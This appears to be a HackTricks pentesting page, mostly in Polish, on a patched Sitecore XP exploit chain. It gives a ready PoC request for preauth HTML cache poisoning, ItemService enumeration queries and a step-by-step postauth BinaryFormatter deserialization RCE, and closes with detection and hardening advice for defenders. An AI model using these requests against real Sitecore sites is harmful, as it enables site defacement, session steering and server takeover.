9.6 KiB
Raw Blame History

Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE

{{#include ../../../banners/hacktricks-training.md}}

Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od preauth XAML handler do HTML cache poisoning i — przez authenticated UI flow — do RCE przez BinaryFormatter deserialization. Techniki te mają zastosowanie do podobnych wersji/komponentów Sitecore i dostarczają konkretne primitives do testowania, wykrywania i utwardzania.

  • Testowany produkt: Sitecore XP 10.4.1 rev. 011628
  • Naprawiono w: KB1003667, KB1003734 (czerwiec/lipiec 2025)

Zobacz także:

{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}

{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}

Preauth primitive: XAML Ajax reflection → HtmlCache write

Entrypoint is the preauth XAML handler registered in web.config:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Dostępne przez:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i refleksyjnie wywołuje metody na docelowych kontrolkach:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasa Sitecore), która przekazuje ReflectionUtil.Filter (listę dozwolonych: Sitecore.*), odblokowując metody w Sitecore WebControl.

Magiczna metoda do poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Ponieważ możemy zaadresować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, otrzymujemy preauth arbitrary HtmlCache write primitive.

Prośba o PoC (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Uwagi:

  • __SOURCE to clientID xmlcontrol:GlobalHeader w obrębie Sitecore.Shell.Xaml.WebControl (zazwyczaj stabilne, np. ctl00_ctl00_ctl05_ctl03, ponieważ pochodzi ze statycznego XAML).
  • __PARAMETERS ma format Method("arg1","arg2").

Co zatruć: konstrukcja klucza cache

Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore:

public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Przykład targeted poisoning dla znanego sublayoutu:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Wyliczanie cacheable items i “vary by” dimensions

Jeśli ItemService jest (mis)exposed i dostępny anonimowo, możesz wyliczyć cacheable components, aby uzyskać dokładne klucze.

Szybkie sprawdzenie:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Wypisz elementy możliwe do buforowania i flagi:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyenumerować za pomocą:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Sidechannel enumeration under restricted identities (CVE-2025-53694)

Nawet gdy ItemService podszywa się pod ograniczone konto (e.g., ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać preACL Solr hits. Można bruteforce item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega, aby zmapować wewnętrzną zawartość i urządzenia:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Dostępne przez krok pipeline convertToRuntimeHtml ConvertWebControls, który szuka elementu o id {iframeId}_inner, dekoduje go z base64 i deserializuje, a następnie wstrzykuje otrzymany ciąg do HTML:

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Wyzwalacz (uwierzytelniony, uprawnienia Content Editor). Dialog FixHtml wywołuje convertToRuntimeHtml. Endtoend bez klikania w UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Generowanie gadgetów: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana w HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.

{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}

Kompletny łańcuch

  1. Preauth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
  2. Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
  3. The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attackercontrolled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.

Wykrywanie

  • Preauth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Utwardzanie

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit /-/xaml/.
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCountbased side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References

{{#include ../../../banners/hacktricks-training.md}}